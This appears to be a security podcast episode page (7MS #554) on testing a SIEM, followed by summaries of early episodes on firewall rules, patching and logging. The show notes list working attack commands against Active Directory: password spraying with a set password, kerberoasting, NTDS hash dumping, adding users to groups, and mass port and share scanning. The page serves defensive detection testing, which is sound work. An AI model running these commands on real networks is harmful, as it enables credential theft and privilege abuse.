7MS #554: Simple Ways to Test Your SIEM

7MS #554: Simple Ways to Test Your SIEM

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered:

Port scanning
nmap 10.0.7.0/24 - basic nmap scan
massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports!

Password spraying
Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt

Kerberoasting and ASREPRoasting
rubeus.exe kerberoast /simple
rubeus asreproast /nowrap

Key group membership changes
net group "GROUP NAME" user-to-add-to-a-group /add

Dump Active Directory hashes
cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled
ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q

SMB share hunting
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

Avsnitt(695)

7MS #7: External Vulnerabilities that Byte (audio)

7MS #7: External Vulnerabilities that Byte (audio)

Episode lucky #7!!! In this episode I talk about external network vulnerabilities that we see in many of our assessments – some of which are pretty easy to clear up. Download: Episode 7: External Vulnerabilities that Byte (audio) Show notes: RC4 – a risk that we find just about anywhere SSL is used, but in…

15 Mars 20147min

7MS #6: Fun Firewall Rules – part 2 (audio)

7MS #6: Fun Firewall Rules – part 2 (audio)

In this episode I continue talking about some basic firewall rules that many organizations don’t have in place. Download: Episode 6: Fun Firewall Rules – part 2 (audio) Show notes: Limit outbound DNS requests to just the ISP servers (or whatever external servers you use). Anytime a firewall rule is changed, perform a vulnerability scan…

8 Mars 20147min

7MS #5: Fun Firewall Rules – part 1 (audio)

7MS #5: Fun Firewall Rules – part 1 (audio)

In this episode I talk about some basic firewall rules that many organizations don’t have in place. Download: Episode 5: Fun Firewall Rules – part 1 (audio) Show notes: Block outbound port TCP 25 for all devices except your mail server(s). If you use a third party mail filter like Postini or Securence, ensure that…

1 Mars 20147min

7MS #4: Patch Strategies: Part Deux (audio)

7MS #4: Patch Strategies: Part Deux (audio)

In this episode I continue talking about some dos and donts of patch strategies – this time talking about enterprise level gear. Download: Episode 4: Patch Strategies: Part Deux (audio) Show notes: There are often two trains of thought in regards to enterprise gear patching (like routers, switches, firewalls). 1. If it ain’t broke, don’t…

22 Feb 20146min

7MS #3: Patch Strategies: Part 1 (audio)

7MS #3: Patch Strategies: Part 1 (audio)

In this episode I talk about some trends (and problems) we’re seeing on the patching front – specifically OS and third-party apps. Download: Episode 3: Patch Strategies: Part 1 (audio) Show notes: Most organizations have the Microsoft side of the house patched well – but the third party apps (Java/Flash/Reader/etc.)? Not so much…but that’s just…

13 Feb 20147min

7MS #2: The Importance of Logging and Alerting! (audio)

7MS #2: The Importance of Logging and Alerting! (audio)

In this episode I talk about how a client of ours learned a hard lesson: that the lack of logging/alerting makes for a pretty miserable investigation after they were breached. Download: Episode 2: The Importance of Logging and Alerting! (audio) Show notes: Public-facing terminal servers without 2FA basically have a sign on their back that…

1 Feb 20147min

7MS #1: Epic Introduction! (audio)

7MS #1: Epic Introduction! (audio)

In this episode, I talk about the inspiration behind the 7MS podcast and my vision for it going forward. (Admittedly, my ulterior motive is to use this intro episode to figure out how in the heck to get this podcast submitted and visible on iTunes :-). Download Episode 1: Epic Introduction to 7MS (MP3) I’ll…

1 Feb 20147min

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